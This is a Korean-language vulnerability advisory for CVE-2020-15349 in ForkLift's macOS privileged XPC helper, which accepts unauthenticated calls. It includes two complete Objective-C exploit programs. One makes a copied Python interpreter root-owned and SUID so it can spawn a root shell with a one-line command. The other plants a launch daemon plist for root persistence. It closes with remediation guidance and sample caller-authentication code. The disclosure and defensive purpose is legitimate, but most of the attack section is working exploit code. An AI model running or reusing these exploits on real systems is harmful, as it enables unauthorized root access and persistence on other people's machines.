traxes/forklift_lpeCVE-2020-15349 취약점 설명
Forklift를 설치하면 com.binarynights.ForkLiftHelper라는 새로운 도우미가 Mac OS X용으로 /Library/PrivilegedHelperTools/ 디렉토리에 자동 설치됩니다. XPC 메시지를 처리하는 이 도우미를 분석한 결과 Mac OS X에서 사용자 권한을 root로 상승시키는 여러 가지 방법이 발견되었습니다.
XPC 호출을 수락할 때 기본적으로 HelperTool listener:shouldAcceptNewConnection, 즉 (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)connection 함수가 호출됩니다. 이 함수는 XPC 연결 설정의 초기 단계를 수행하는 데 사용됩니다. 일반적으로 이 함수는 호출자에 대한 인증을 수행하지만, com.binarynights.ForkLiftHelper의 함수는 인증 검사를 구현하지 않습니다. 따라서 XPC를 통해 노출된 모든 함수를 인증 없이 호출할 수 있습니다.
다음 함수들이 XPC를 통해 호출자에게 노출됩니다:
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end
이 도우미를 악용하는 첫 번째 방법은 다음과 같습니다:
예를 들어, Python 인터프리터를 사용자가 제어할 수 있는 디렉토리에 복사하고 changeOwner XPC 함수를 @\"<path>\" owner:0 group:0 매개변수로 호출합니다. 이렇게 하면 Python 인터프리터의 소유권이 root로 변경됩니다.
두 번째로, changePermissions 함수에 @\"<path>\" permissions:2541 매개변수로 XPC 요청을 보내 인터프리터에 SUID 비트를 설정할 수 있습니다. 권한 2541은 8진수로 4755를 나타내며, 이는 바이너리에 SUID 플래그를 설정합니다.
다음 명령은 root로 셸을 실행합니다:
$/tmp/python_copied -c 'import pty; import os; os.setuid(0);pty.spawn("/bin/bash")'
# id
uid=0(root) [...]
먼저 /tmp에 python_copied라는 이름으로 Python 인터프리터가 복사되어 있는지 확인하세요. 다음 익스플로잇은 이 LPE를 보여줍니다:
//
// main.m
// build
// gcc -framework Foundation exploit.m -o exploit
//
//
#import <Foundation/Foundation.h>
static NSString* kXPCHelperMachServiceName = @"com.binarynights.ForkLiftHelper";
// The protocol that Forklift will vend as its XPC API.
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSString* _serviceName = kXPCHelperMachServiceName;
NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
[_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(_TtP4main21ForkLiftHelperProtcol_)]];
[_agentConnection resume];
// run user script as root/
[[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
(void)error;
NSLog(@"Connection Failure");
}] changeOwner:@"/tmp/python_copied" owner:0 group:0 reply:^(NSError * err){
NSLog(@"Reply, %@", err);
}];
[[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
(void)error;
NSLog(@"Connection Failure");
}] changePermissions:@"/tmp/python_copied" permissions:2541 reply:^(NSError * err){
NSLog(@"Reply, %@", err);
}];
NSLog(@"Done!");
}
return 0;
}
이 도우미를 악용하는 두 번째 방법은 다음과 같습니다:
moveItem XPC 호출 덕분에 모든 항목을 root로 이동할 수 있습니다. 따라서 /tmp 디렉토리에 plist 파일을 작성한 후 /Library/LaunchDaemons/ 디렉토리로 복사할 수 있습니다. moveItem 함수에는 다음 매개변수가 사용됩니다: @\"/tmp/com.sample.Load.plist\" targetPath:@\"/Library/LaunchDaemons/com.sample.Load.plist\"
다음 코드는 재시작 시 트리거되는 새로운 launch agent를 자동으로 추가합니다:
//
// main.m
// build
// gcc -framework Foundation exploit.m -o exploit
//
#import <Foundation/Foundation.h>
static NSString* kXPCHelperMachServiceName = @"com.binarynights.ForkLiftHelper";
// The protocol that Forklift will vend as its XPC API.
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSString* my_plist = @"<?xml version=\"1.0\" encoding=\"UTF-8\"?>"
"<!DOCTYPE plist PUBLIC \"-//Apple Computer//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">"
"<plist version=\"1.0\">"
"<dict>"
" <key>Label</key>"
" <string>com.sample.Load</string>"
" <key>ProgramArguments</key>"
" <array>"
" <string>/bin/zsh</string>"
" <string>-c</string>"
" <string>touch /Library/foobar.txt</string>"
" </array>"
" <key>RunAtLoad</key>"
" <true/>"
"</dict>"
"</plist>";
[my_plist writeToFile:@"/tmp/com.sample.Load.plist" atomically:YES encoding:NSASCIIStringEncoding error:nil];
NSString* _serviceName = kXPCHelperMachServiceName;
NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
[_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(_TtP4main21ForkLiftHelperProtcol_)]];
[_agentConnection resume];
// run user script as root/
[[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
(void)error;
NSLog(@"Connection Failure");
}] moveItem:@"/tmp/com.sample.Load.plist" targetPath:@"/Library/LaunchDaemons/com.sample.Load.plist" reply:^(NSError * err){
NSLog(@"Reply, %@", err);
}];
NSLog(@"Done!");
}
return 0;
}
XPC 도우미를 호출할 때 인증을 강제하는 것이 좋습니다.
이러한 인증 검사에는 다음이 포함되어야 합니다:
인증 검사에 대한 훌륭한 참고 자료는 [1] 출처에서 찾을 수 있습니다.
다음 shouldAcceptNewConnecton 함수 예제는 올바른 인증 검사의 다양한 단계를 보여줍니다:
@interface NSXPCConnection(PrivateAuditToken)
// This property exists, but it's private. Make it available:
@property (nonatomic, readonly) audit_token_t auditToken;
@end
// In the NSXPCListenerDelegate:
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)connection {
audit_token_t auditToken = connection.auditToken;
NSData *tokenData = [NSData dataWithBytes:&auditToken length:sizeof(audit_token_t)];
NSDictionary *attributes = @{(__bridge NSString *)kSecGuestAttributeAudit : tokenData};
SecCodeRef code = NULL;
if (SecCodeCopyGuestWithAttributes(NULL, (__bridge CFDictionaryRef)attributes, kSecCSDefaultFlags, &code) != errSecSuccess) {
return NO;
}
// Before checking the requirement make sure that code signing flags
// CS_HARD and CS_KILL are set. Dynamic code signature checks can only
// check the code pages already swapped into memory, so make sure that
// no malicious code can be loaded at a later time. You may want to
// disable this check in debug builds.
CFDictionaryRef csInfo = NULL;
if (SecCodeCopySigningInformation(code, kSecCSDynamicInformation, &csInfo) != errSecSuccess) {
return NO;
} else {
uint32_t csFlags = [((__bridge NSDictionary *)csInfo)[(__bridge NSString *)kSecCodeInfoStatus] intValue];
CFRelease(csInfo);
const uint32_t cs_hard = 0x100; // don't load invalid pages
const uint32_t cs_kill = 0x200; // kill process if page is invalid
const uint32_t cs_restrict = 0x800; // prevent debugging
const uint32_t cs_require_lv = 0x2000; // Library Validation
const uint32_t cs_runtime = 0x10000; // hardened runtime
if ((csFlags & (cs_hard | cs_kill)) != (cs_hard | cs_kill)) {
// add all flags to check which are in your code signature!
// In particular, we recommend cs_require_lv and cs_restrict.
return NO; // Not accepted because it can be tampered with
}
}
NSString *requirementString = @"anchor apple generic and certificate leaf[subject.OU] = \"MyTeamIdentifier\"";
SecRequirementRef requirement = NULL;
// Check at least the peer's TeamID, e.g.
// "anchor apple generic and certificate leaf[subject.OU] = MyTeamIdentifier"
if (SecRequirementCreateWithString((__bridge CFStringRef)requirementString, kSecCSDefaultFlags, &requirement) != errSecSuccess) {
abort(); // error in requirement string
}
OSStatus status = SecCodeCheckValidityWithErrors(code, kSecCSDefaultFlags, requirement, NULL);
CFRelease(code);
CFRelease(requirement);
if (status != errSecSuccess) {
return NO;
}
// further initialization of connection goes here...
return YES;
}
[1] - https://blog.obdev.at/what-we-have-learned-from-a-vulnerability/